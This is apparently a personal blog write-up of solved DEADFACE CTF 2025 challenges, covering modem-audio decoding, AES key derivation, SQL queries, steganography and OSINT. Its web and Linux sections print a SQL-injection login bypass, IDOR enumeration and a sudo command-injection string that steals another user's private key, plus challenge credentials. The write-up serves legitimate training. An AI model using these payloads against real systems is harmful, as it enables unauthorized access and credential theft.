Logo
Overview

DEADFACE CTF 2025 - Comprehensive Writeups

October 26, 2025
14 min read

Competition Overview

This repository contains comprehensive writeups for all challenges I solved during the deadface CTF competition held in October 2025.

  • Event: deadface CTF 2025
  • Team: BLACK MIRROR
  • Final Rank: 28th Place / 815 teams
  • Final Score: 6,751 points
  • Duration: October 25-26, 2025
  • Team Challenges Solved: 63

My Personal Stats - t4mpr

  • Cryptography: 2 challenges (600 points)
  • SQL/Database: 1 challenge (400 points)
  • Web: 2 challenges (405 points)
  • Forensics/Traffic Analysis: 2 challenges (350 points)
  • Linux Privilege Escalation: 2 challenges (425 points)
  • Steganography: 1 challenge (30 points)
  • OSINT: 1 challenge (50 points)
  • PWN: 1 challenge (20 points)

Cryptography Challenges

Dis-connec-ted 🩸 First Blood!

Category: CRYPTOGRAPHY AUDIO STEGANOGRAPHY

Challenge Description

Dis-connec-ted

The Turbo Tactical Team uncovered some audio files on a system they know was compromised by DEADFACE. When played, it seems to be just scratching noises. See if you can help the team and figure out what you can make out of these wav files.

Submit the flag as deadface{flag_text}.

Files Provided

Three WAV audio files:

  • Key200.wav (157 KB, 1.67 seconds)
  • Deets10.wav (1.6 MB, ~34 seconds)
  • DialedIn1200.wav (70 KB, 1.49 seconds)

Solution

Step 1: Analyzing the Audio Files

All three files are modem audio (16-bit PCM, mono, 48000 Hz). The “scratching noises” are actually data encoded as audio tones using FSK (Frequency Shift Keying) modulation - the same technique used by old dial-up modems.

Key Observation: The filenames contain numbers that hint at the baud rates:

  • Key200 → 200 baud
  • Deets10 → 10 baud
  • DialedIn1200 → 1200 baud

Step 2: Decoding with Minimodem

minimodem is a software modem that can decode audio signals into data. It supports various baud rates and can process WAV files directly.

Decoding Key200.wav (200 baud):

Terminal window
minimodem --rx -f Key200.wav 200

Output:

O1WXfra0lbr84OrUsARr2xf5mDDCnJ1S
### CARRIER 200 @ 1250.0 Hz ###
### NOCARRIER ndata=33 confidence=9.008 ampl=0.982 bps=200.00 ###

Decoding DialedIn1200.wav (1200 baud):

Terminal window
minimodem --rx -f DialedIn1200.wav 1200

Output:

Eswf9G+Vm6xxJg9MrPmuz2Ar9VGyWUDKSR0/rFoVfcoNT12NA1Nk59sBJbOE8li7btNC82vX0KINmSEvK9hp1A==
### CARRIER 1200 @ 1200.0 Hz ###
### NOCARRIER ndata=89 confidence=4.936 ampl=1.001 bps=1200.00 ###

Decoding Deets10.wav (10 baud):

Terminal window
minimodem --rx -f Deets10.wav 10

Output:

CBC PKCS5Padding
### CARRIER 10.00 @ 1590.0 Hz ###
### NOCARRIER ndata=17 confidence=34.128 ampl=0.636 bps=10.00 ###

Step 3: Understanding the Components

Dis-connec-ted_2

From the decoded audio:

  1. Key200.wavO1WXfra0lbr84OrUsARr2xf5mDDCnJ1S (32 characters = encryption key)
  2. DialedIn1200.wav → Base64-encoded ciphertext (note the == padding at the end)
  3. Deets10.wavCBC PKCS5Padding (encryption mode details)

This tells us:

  • Encryption algorithm: AES (implied by CBC mode and 32-byte key)
  • Mode: CBC (Cipher Block Chaining)
  • Padding: PKCS5 (same as PKCS7 for AES)
  • Key: 32 ASCII characters = 32 bytes = AES-256

Step 4: Decryption

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import base64
# Decoded values
key_string = "O1WXfra0lbr84OrUsARr2xf5mDDCnJ1S"
ciphertext_b64 = "Eswf9G+Vm6xxJg9MrPmuz2Ar9VGyWUDKSR0/rFoVfcoNT12NA1Nk59sBJbOE8li7btNC82vX0KINmSEvK9hp1A=="
# Prepare for decryption
key = key_string.encode('ascii')
ciphertext = base64.b64decode(ciphertext_b64)
# Use zero IV (common default when IV not specified)
iv = b'\x00' * 16
# Decrypt
cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted = cipher.decrypt(ciphertext)
# Remove padding
plaintext = unpad(decrypted, AES.block_size)
print(plaintext.decode('ascii'))

output

Output:

deadface{Y0urCallCannot^be*connected-As(Dialed)}

🩸 FIRST BLOOD 🩸

bloodFirst Blood Badge

Flag: deadface{Y0urCallCannot^be*connected-As(Dialed)}

Key Insights

  1. Baud Rate Hints: The numbers in filenames indicated the baud rates needed for decoding
  2. Modem Audio: “Scratching noises” were FSK-modulated modem signals
  3. Zero IV: When no IV is explicitly provided, a zero IV is commonly used
  4. Retro Theme: The flag references the classic telephone message “Your call cannot be connected as dialed”

Retro Rewind

Category: CRYPTOGRAPHY

Challenge Description

Retro Rewind

DEADFACE loves their retro gimmicks. One of our agents stumbled upon this odd log shared by DEADFACE members. The log includes a timestamp, an Initialization Vector (IV), as well as the encrypted message. When we reviewed similar logs, we found that one key worked for one message, but not for the rest. Something must be different with the key used to encrypt each of these messages. We suspect there is a base key that changes with each message. Can you figure it out?

Submit the flag as deadface{flag_text}

Files Provided

  • intercepted_messages.txt - 12 encrypted messages with timestamps and IVs
  • cipher_info.txt - Information about the encryption method
  • clues.txt - Additional hint from DEADFACE forum

Solution

Step 1: Gathering Intelligence

From cipher_info.txt:

Cipher Information:
Encryption: AES-128-CBC
Note: The encryption key changes with time. Analyze the timestamps to uncover the pattern!

From Ghosttown Tick Tock Cipher forum post:

ghosttown

It uses AES-128 in CBC mode with a constant base key: DEADFACEDEADFACEDEADFACEDEADFACE.
For each message, the script modifies the key by applying a byte-wise offset calculated
from the timestamp (positional variance included, of course).

Key Information:

  • Cipher: AES-128-CBC
  • Base Key: DEADFACEDEADFACEDEADFACEDEADFACE (hex)
  • Key Derivation: Byte-wise offset from timestamp with positional variance
  • Messages sent every 12 hours (43200 seconds)

Step 2: Understanding the Pattern

Examining the timestamps from intercepted_messages.txt:

Message 1: 1756684800
Message 2: 1756728000 (+ 43200 seconds = 12 hours)
Message 3: 1756771200 (+ 43200 seconds = 12 hours)
...
Message 12: 1757160000

The messages are sent at regular 12-hour intervals, confirming the temporal pattern.

Step 3: Key Generation Algorithm

The phrase “positional variance” suggests that each byte position in the key is modified differently. After testing various approaches, the correct algorithm is:

def generate_key(timestamp):
base_key = bytes.fromhex("DEADFACEDEADFACEDEADFACEDEADFACE")
key = bytearray(base_key)
for i in range(16):
key[i] = (key[i] + timestamp + i) % 256
return bytes(key)

Explanation:

  • Each byte at position i is modified by: (original_byte + full_timestamp + position_index) % 256
  • The “positional variance” comes from adding the position index i
  • The timestamp value is added to all positions, making it time-dependent
  • Modulo 256 keeps the result within valid byte range

Step 4: Decrypt Messages

Running the decryption script with the correct key generation method:

failed attempts
============================================================
Testing: HEX base + ts mod
Base key: deadfacedeadfacedeadfacedeadface
============================================================
✓ Message 1: Attack at midnight
✓ Message 2: Target: ServerRoom
✓ Message 3: Meet at base
✓ Message 4: Plan B active
✓ Message 5: Code Red alert
✓ Message 6: Backup needed
✓ Message 7: Strike tomorrow
✓ Message 8: Check systems
✓ Message 9: Hide evidence
✓ Message 10: Secure channel
✓ Message 11: Operation start
✓ Message 12: r3w1nd_th3_cl0ck

retro-solve

The final message (Message 12) contains the flag!

Flag: deadface{r3w1nd_th3_cl0ck}

Key Insights

  1. Base Key Interpretation: The base key is hex-encoded bytes, not an ASCII string
  2. Positional Variance: Each position gets a unique offset by adding its index (0-15)
  3. Timestamp Impact: The full timestamp value creates massive variance between messages
  4. Time-Based Security: Even small timestamp differences create completely different keys

SQL/Database Challenges

Undervalued

Category: SQL

Challenge Description

Undervalued

DEADFACE is adept at finding weak links in management. Your mission is to identify the email of the IT manager who is assigned to the facility that has the overall lowest average quantity of products in its inventory. You must also provide that specific lowest average quantity value. This employee might oversee a poorly managed or understocked facility, making them a potential target for social engineering or infiltration by a DEADFACE member.

Submit the flag as deadface{email average}.

Example: deadface{ctf@deadface.io 1234.5678}.

Database Connection:

  • Host: env01.deadface.io:3306
  • Username: epicsales
  • Password: Slighted3-Charting-Valium
  • Database: epicsales_db

Solution

Step 1: Database Exploration

Connect to the database:

Terminal window
mysql -h env01.deadface.io -P 3306 -u epicsales -p'Slighted3-Charting-Valium' epicsales_db

List all tables:

SHOW TABLES;

Output:

categories, customers, employee_assignments, employees, facilities,
inventories, loyalty_points, order_items, orders, products, reviews

Step 2: Find Facility with Lowest Average Inventory

SELECT
facility_id,
AVG(quantity) as avg_quantity
FROM inventories
GROUP BY facility_id
ORDER BY avg_quantity ASC
LIMIT 5;

Output:

facility_id | avg_quantity
------------|-------------
5 | 2274.4626
20 | 2329.8722
25 | 2343.9119
7 | 2359.5286
10 | 2363.8634

Result: Facility ID 5 has the lowest average inventory quantity of 2274.4626.

Step 3: Find IT Manager for Facility 5

SELECT
e.email,
e.role,
ea.facility_id,
(SELECT AVG(quantity) FROM inventories WHERE facility_id = 5) as avg_quantity
FROM employees e
JOIN employee_assignments ea ON e.employee_id = ea.employee_id
WHERE ea.facility_id = 5
AND e.role = 'IT Manager';

Output:

solve

email | role | facility_id | avg_quantity
--------------------------------|------------|-------------|-------------
valera.kenner@epicsales.shop | IT Manager | 5 | 2274.4626

Flag: deadface{valera.kenner@epicsales.shop 2274.4626}

Key Takeaways

  1. Aggregation Functions: Using AVG() with GROUP BY to calculate averages per group
  2. JOIN Operations: Connecting employees to facilities through the assignment table
  3. Filtering: Using WHERE clauses to filter by role and facility
  4. Ordering: Using ORDER BY with ASC to find minimum values

Web Security Challenges

The Invisible Man

Category: WEB

Challenge Description

The Invisible Man

The Night Vale University (NVU) student portal appears to have some security vulnerabilities. Your mission is to identify hidden/privileged users and recover their flags.

Submit the flag as deadface{flag text}.

Target: http://env01.deadface.io:8080

Tools Used

  • curl - Command-line HTTP client
  • Browser Developer Tools (optional)
  • Basic understanding of SQL injection and IDOR vulnerabilities

Reconnaissance

Step 1: Login Page Examination

The login page reveals several important details in HTML comments:

  1. Test Accounts Available:

    • Student: jstudent / password123
    • Faculty: deephax / music4life
    • Admin credentials (commented): admin / NVU_Adm1n_P0rt4l
  2. Security Hint:

    Hint: Try different SQL injection techniques to access specific accounts...

Exploitation - Part 1: SQL Injection Authentication Bypass

Understanding the Vulnerability

A typical vulnerable SQL query:

SELECT * FROM users WHERE username='$username' AND password='$password'

SQL Injection Payload:

Terminal window
curl -s -c /tmp/invisible_cookies.txt \
"http://env01.deadface.io:8080/?page=login" \
-d "username=' OR 1=1 -- &password=anything&login=Login"

Explanation of the Payload:

  • ' - Closes the username string in the SQL query
  • OR 1=1 - Always evaluates to TRUE, bypassing authentication
  • -- - SQL comment that ignores everything after (including password check)

Retrieve First Flag:

Terminal window
curl -s -b /tmp/invisible_cookies.txt \
"http://env01.deadface.io:8080/?page=profile" | grep -i "flag"

Output:

flag1

Congratulations! Flag: deadface{sql_1nj3ct10n_byp4ss_4uth}

First Flag: deadface{sql_1nj3ct10n_byp4ss_4uth}

Exploitation - Part 2: IDOR (Insecure Direct Object Reference)

Admin Panel Discovery:

Terminal window
curl -s -b /tmp/invisible_cookies.txt \
"http://env01.deadface.io:8080/admin.php" | head -80

User Management Table shows:

  • Lists users with IDs 1-15
  • Each user has a “View Details” link: ?view_user=X&source=ui

API Endpoint Discovery:

Terminal window
curl -s -b /tmp/invisible_cookies.txt \
"http://env01.deadface.io:8080/api/search.php?q=a&type=users"

Critical Discovery: A hidden backup_admin account exists!

Exploiting the IDOR Vulnerability:

Terminal window
curl -s -b /tmp/invisible_cookies.txt \
"http://env01.deadface.io:8080/admin.php?view_user=16"

The IDOR Flaw: The application fails to properly validate whether the requested user should be visible to the current user.

Retrieve Second Flag:

flag2

Username: backup_admin
Email: backup@nvu.edu
Role: admin
Flag: deadface{1ns3cur3_d1r3ct_0bj3ct_r3f3r3nc3}

Second Flag: deadface{1ns3cur3_d1r3ct_0bj3ct_r3f3r3nc3}

Vulnerability Analysis

SQL Injection (CWE-89)

  • The login authentication does not properly sanitize user input
  • User-supplied data is directly concatenated into SQL queries
  • Allows attackers to manipulate query logic

IDOR (CWE-639)

  • The application exposes internal user IDs in URLs
  • No authorization check to verify access permissions
  • Hidden accounts can be accessed by ID enumeration

Linux Privilege Escalation (Hostbusters)

Read ‘Em and Weep

Category: FORENSICS LINUX PRIVSEC CRYPTOGRAPHY

Challenge Description

Read 'Em and Weep

mirveal has an encrypted file on the system that we need access to. Find a way to read the hostbusters6.bin file.

Submit the flag as deadface{flag_text}.

Solution

1. Initial Access

Terminal window
ssh gh0st404@hostbusters.deadface.io
# password: ReadySetG0!

2. Collect deephax Console Password

Terminal window
cat ~/.dont_forget

Relevant snippet:

deephax pen: Fr4gm3ntedSkull!!

3. Enter deephax Console and Escape to Python

Terminal window
su deephax
# password: Fr4gm3ntedSkull!!
(deephax)> quit
>>> import os

4. Enumerate sudo Rights

>>> os.system("sudo -l")

Output:

User deephax may run the following commands on hostbusters:
(mirveal) NOPASSWD: /usr/bin/logviewer *

5. Steal Mirveal’s Private Key

>>> os.system("sudo -u mirveal /usr/bin/logviewer '../../home/mirveal/.keys/private.pem; cat /home/mirveal/.keys/private.pem; #'")

This leverages command injection via path traversal to extract the RSA private key.

6. Extract hostbusters6.bin

Terminal window
base64 /home/mirveal/hostbusters6.bin

Copy the output and save locally, then decode:

Terminal window
base64 -d hostbusters6.bin.b64 > hostbusters6.bin

7. Decrypt Locally with OpenSSL

Terminal window
openssl pkeyutl -decrypt -inkey private.pem -in hostbusters6.bin -out hostbusters6.dec
cat hostbusters6.dec

Output:

deadface{hostbusters6_d22a1c03f3454b9c}

Flag: deadface{hostbusters6_d22a1c03f3454b9c}


Pulse Check

Category: FORENSICS LINUX

Challenge Description

Pulse Check

What is this machine doing? Our team has looked in various files and we can’t seem to locate the 7th flag. Maybe we need to characterize this host more.

Submit the flag as deadface{flag_text}.

Solution

1. SSH and Escalate

Reuse the previous escalation path to access the deephax console.

2. Extract dfcheckalive

Use logviewer to copy and exfiltrate /usr/bin/dfcheckalive:

>>> os.system("sudo -u mirveal /usr/bin/logviewer '../../usr/bin/dfcheckalive; base64 /usr/bin/dfcheckalive; #'")

3. Convert Base64 to Binary

import base64, re
with open('/tmp/df_hostbusters.txt','r',errors='ignore') as f, open('/tmp/df_hostbusters.bin','wb') as out:
for line in f:
line = line.strip()
if re.fullmatch(r'[A-Za-z0-9+/=]+', line):
out.write(base64.b64decode(line))

4. Recover Embedded Flag

Inspect .rodata to locate key/flag bytes:

from pathlib import Path
data = Path('/tmp/df_hostbusters.bin').read_bytes()
key = data[0x2000:0x2008]
enc = data[0x2020:0x2020+0x27]
flag = bytes(x ^ key[i % len(key)] for i, x in enumerate(enc))
print(flag.decode())

Output:

deadface{hostbusters7_d8c0a4c4e64a5b78}

Flag: deadface{hostbusters7_d8c0a4c4e64a5b78}


Steganography Challenges

Creepy Resume

Category: STEG

Challenge Description

creepy resume

A DEADFACE member landed an interview at Spooky Coffee using a resume that whispers in Unicode and charms every AI it touches. Those who can read between the glyphs say it speaks in riddles, crafted to bypass filters and impress any CAPTCHA-checking HR daemon.

Analyze the resume PDF. Can you find the secret string?

Submit the flag as deadface{here_is_the_answer}.

Recon

Solution

1. Dump all metadata

Terminal window
exiftool lambiresume.pdf

UserComment and Copyright each show an emoji (🥰) followed by dozens of blank-looking characters. These glyphs are Unicode Plane 14 variation selectors.

2. Extract the suspicious string

Terminal window
exiftool -UserComment -s3 lambiresume.pdf

3. Decode the Plane-14 variation selectors

Variation selectors from U+E0100–U+E01EF are named VARIATION SELECTOR-n. The numeric suffix is the ASCII code of the intended character.

Terminal window
python3 - <<'PY'
import unicodedata
import subprocess
raw = subprocess.check_output(
['exiftool', '-UserComment', '-s3', 'lambiresume.pdf'],
text=True,
).strip()
decoded = ''.join(
chr(int(unicodedata.name(ch).split('-')[-1]))
for ch in raw
if 'VARIATION SELECTOR' in unicodedata.name(ch, '')
)
flag = ''.join(chr(ord(c) - 1) for c in decoded)
print('metadata :', decoded)
print('flag :', flag)
PY

solve

Flag: deadface{Look_@_m3!!!}

Easy Solve

The intended solve was to use the emoji decoder tool from the forum post:

easy solve

OSINT Challenges

Diss Track

Category: OSINT

Challenge Description

Diss Track

We were looking at the message board and saw that lilith and deephax communicated that they would have a secret way of talking to each other while they ran an attack. We can’t make heads or tails of it but we did note that they mentioned Band names and referenced some songs.

Enter the answer as deadface{flag text}.

Solution

Clues from message board:

https://ghosttown.deadface.io/t/how-do-y-all-decompress-after-ops/84/9

Conversation between lilith and deephax:

“Hey Deep, Since you like music so much I put something together for that THING that’s happening. check it out tell me what you think 34qdvkzNI5IIZUR5kVOpNx”

Solve:

Pasting the 34qdvkzNI5IIZUR5kVOpNx part into:

https://open.spotify.com/playlist/34qdvkzNI5IIZUR5kVOpNx

reveals the flag in the playlist.

solve

Flag: deadface{D!6_7H47_Cr^ZY_rHY7HM!}


Competition Reflections

This CTF was an excellent learning experience that covered a broad range of security domains. The challenges were well-designed with realistic scenarios that mirror real-world vulnerabilities. The DeadFace storyline and theming made the competition more engaging.

What Went Well:

  • Systematic approach to each challenge
  • Good time management across multiple domains
  • Effective use of automation and scripting
  • Thorough documentation during exploitation

Areas for Improvement:

  • Could have been faster on SQL challenges with better query optimization
  • Initial attempts at crypto challenges took multiple iterations
  • More practice with binary analysis would speed up PWN challenges

Most Challenging: Retro Rewind

  • Required understanding of custom time-based key derivation
  • Multiple failed approaches before discovering the correct algorithm
  • Testing different interpretations of “positional variance”
  • Success came from combining the full timestamp with position index

Most Rewarding: Dis-connec-ted

  • First Blood! 🩸
  • Required creative thinking to understand artifact usage
  • Learned about FSK demodulation and minimodem
  • Deep dive into AES-256-CBC encryption & padding

Tools & Technologies Used

Cryptography

  • minimodem - FSK audio demodulation
  • pycryptodome - Python cryptography library
  • openssl - RSA operations
  • Custom Python scripts for key derivation

Forensics & Network Analysis

  • exiftool - Metadata extraction
  • binwalk - Binary analysis
  • strings - String extraction
  • base64 - Encoding/decoding

Web Exploitation

  • curl - HTTP client
  • SQL injection techniques
  • API fuzzing and enumeration

Linux/Binary Analysis

  • ssh - Remote access
  • sudo -l - Privilege enumeration
  • Python for binary analysis and XOR operations
  • objdump/xxd - Binary inspection

Database

  • mysql client - Direct database access
  • SQL query optimization
  • Python3 & Claude Code CLI

Acknowledgments

  • deadface CTF - For creating an amazing event with phenomenal challenges
  • My Team - For working together to solve these challenges and helping each other along the way

Last Updated: October 27, 2024